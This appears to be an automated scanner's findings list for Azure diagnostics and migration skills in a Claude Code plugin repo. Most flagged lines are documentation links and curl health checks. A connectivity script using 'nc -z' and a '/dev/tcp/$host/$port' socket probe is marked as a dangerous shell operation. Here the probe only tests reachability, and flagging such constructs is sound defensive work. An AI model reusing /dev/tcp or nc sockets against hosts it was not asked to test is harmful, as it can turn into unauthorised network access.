  • Network accessline 113
    - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/automation.md

  • Network accessline 4
    > All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to
  • Network accessline 6
    > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 317
    - [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops)
  • Network accessline 318
    - [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions)
  • Network accessline 357
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST")
  • Network accessline 374
    # Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
  • Network accessline 375
    curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/consumption-to-flex.md

  • Network accessline 4
    > **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/
  • Network accessline 6
    > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 139
    1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba
  • Network accessline 140
    2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks
  • Network accessline 141
    3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`)
  • Network accessline 223
    - [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan)
  • Network accessline 224
    - [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to)
  • Network accessline 225
    - [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only)
  • Network accessline 226
    - [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC)
  • Network accessline 227
    - [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)

harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/references/services/redis/redis-to-amr.md

  • Network accessline 10
    | Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s
  • Network accessline 11
    |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** —
  • Network accessline 12
    | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill |
  • Network accessline 13
    | **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr
  • Network accessline 48
    - IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c
  • Network accessline 50
    - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur
  • Network accessline 60
    - Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen
  • Network accessline 62
    - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-
  • Network accessline 98
    - AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill
  • Network accessline 99
    - ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill
  • Network accessline 100
    - Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/
  • Network accessline 101
    - ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers
  • Network accessline 102
    - Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration

harness/claude-code/plugins/azure-observability-operations/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation/references/AUTO.md

  • Network accessline 3
    Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/
  • Network accessline 10
    https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings

harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation/scripts/appinsights.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/error-handling.md

  • Network accessline 11
    | 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T
  • Network accessline 13
    | 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 44
    | 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ 
  • Network accessline 46
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/workflow.md

  • Network accessline 117
    | 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes
  • Network accessline 119
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/azure-aks-anomalies.md

  • Network accessline 12
    az rest --method post \   --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
  • Network accessline 13
    --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/report-template.md

  • Network accessline 56
    https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/services/storage/azure-storage.md

  • Network accessline 185
    Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/workflow.md

  • Network accessline 168
    **Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 169
    - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 170
    - Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/
  • Network accessline 171
    - App Service: https://azure.microsoft.com/pricing/details/app-service/
  • Network accessline 172
    - Log Analytics: https://azure.microsoft.com/pricing/details/monitor/

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-query/error-handling.md

  • Network accessline 12
    | 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded.
  • Network accessline 14
    | 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 37
    | 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea
  • Network accessline 38
    | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt
  • Network accessline 39
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-query/request-body-schema.md

  • Network accessline 3
    Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).

harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/cost-query/workflow.md

  • Network accessline 137
    | 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie
  • Network accessline 139
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/references/app-service/README.md

  • Network accessline 6
    |---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe
  • Network accessline 7
    | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for
  • Network accessline 8
    | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota |
  • Network accessline 30
    **Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths.
  • Network accessline 96
    # Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
  • Network accessline 97
    curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/references/container-apps/README.md

  • Network accessline 61
    # Check if /health endpoint responds curl https://APP.REGION.azurecontainerapps.io/health
  • Network accessline 62
    curl https://APP.REGION.azurecontainerapps.io/health

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/references/kql-queries.md

  • Network accessline 64
    - [KQL Quick Reference](https://learn.microsoft.com/azure/data-explorer/kql-quick-reference)
  • Network accessline 65
    - [Application Insights Queries](https://learn.microsoft.com/azure/azure-monitor/logs/queries)

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 89
    function Get-HttpsResult {     try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
  • Network accessline 90
    try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `             -UseBasicParsing -ErrorAction Stop
  • Network accessline 91
    $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 99
    probe_tcp() {     local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then
  • Network accessline 100
    local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then         if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Network accessline 101
    if command -v nc >/dev/null 2>&1; then
  • Network accessline 102
    if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Dangerous shell operationline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 132
    # ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 134
    # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 135
    https_result() {     if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 136
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 138
    if probe_tcp "$FQDN" 443; then             echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 139
    echo "reachable (TCP 443 open; curl unavailable for HTTP check)"
  • Network accessline 144
    fi     local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 145
    local code     code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)     local rc=$?
  • Network accessline 146
    code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null)
  • Network accessline 149
    echo "reachable (HTTP $code)"     else         echo "BLOCKED (curl exit $rc)"
  • Network accessline 150
    else         echo "BLOCKED (curl exit $rc)"     fi
  • Network accessline 151
    echo "BLOCKED (curl exit $rc)"

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/networking.md

  • Network accessline 3
    For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network).
  • Network accessline 15
    # This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 16
    # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \   curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
  • Network accessline 17
    kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \
  • Network accessline 18
    curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/node-issues.md

  • Network accessline 97
    See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md

  • Network accessline 64
    Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md

  • Network accessline 48
    [Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 49
    [Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 50
    [Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows
  • Network accessline 51
    [Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md

  • Dangerous shell operationline 16
    | sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] |
  • Network accessline 33
    [Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp
  • Network accessline 34
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 35
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 36
    [CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation
  • Network accessline 37
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 38
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md

  • Network accessline 36
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 37
    [Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os
  • Network accessline 38
    [Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows
  • Network accessline 39
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 40
    [Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md

  • Network accessline 36
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 37
    [Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem
  • Network accessline 38
    [Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem
  • Network accessline 39
    [Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses
  • Network accessline 40
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
  • Network accessline 41
    [Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface
  • Network accessline 42
    [DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled
  • Network accessline 43
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md

  • Network accessline 34
    [RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem
  • Network accessline 35
    [Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic
  • Network accessline 36
    [RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors
  • Network accessline 37
    [Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error
  • Network accessline 38
    [General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error
  • Network accessline 39
    [Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp
  • Network accessline 40
    [RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection
  • Network accessline 41
    [Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton
  • Network accessline 42
    [RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md

  • Network accessline 7
    | Symptom                                | Solution                                                               | Documentation                                                                                                               
  • Network accessline 8
    | -------------------------------------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------
  • Network accessline 9
    | TermService not running                | Start the service and set to Automatic                                 | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 10
    | RDP port changed from 3389             | Reset port or update NSG to allow the custom port                      | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 11
    | RDP disabled (fDenyTSConnections = 1)  | Reset RDP config via CLI or Portal                                     | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp)                
  • Network accessline 12
    | TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate                      | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal
  • Network accessline 13
    | NLA/Security Layer mismatch            | Temporarily disable NLA for recovery                                   | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e
  • Network accessline 14
    | GPO overriding local RDP settings      | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl
  • Network accessline 15
    | RDS licensing expired                  | Remove RDSH role or configure license server                           | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md

  • Network accessline 34
    [SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
  • Network accessline 35
    [SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection
  • Network accessline 36
    [Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux
  • Network accessline 37
    [SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting
  • Network accessline 38
    [UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md

  • Network accessline 9
    | Symptom                                                          | OS      | Solution                                                 | Documentation                                                                                         
  • Network accessline 10
    | ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------
  • Network accessline 11
    | Run Command times out                                            | Windows | VM agent may be down — use Serial Console instead        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
  • Network accessline 12
    | Run Command times out                                            | Linux   | VM agent may be down — use Serial Console instead        | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s
  • Network accessline 13
    | Password reset fails via Portal/CLI                              | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w
  • Network accessline 14
    | Password/key reset fails via Portal/CLI                          | Linux   | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/
  • Network accessline 15
    | VM not booting (Boot Diagnostics shows BSOD/stuck)               | Windows | OS-level issue — use repair VM for offline fix           | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa
  • Network accessline 16
    | VM not booting (Boot Diagnostics shows kernel panic/stuck)       | Linux   | Use repair VM for offline Linux disk fix                 | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l
  • Network accessline 17
    | VMAccess extension error on domain controller                    | Windows | VMAccess doesn't support DCs — use Serial Console        | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A
  • Network accessline 27
    Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples).
  • Network accessline 31
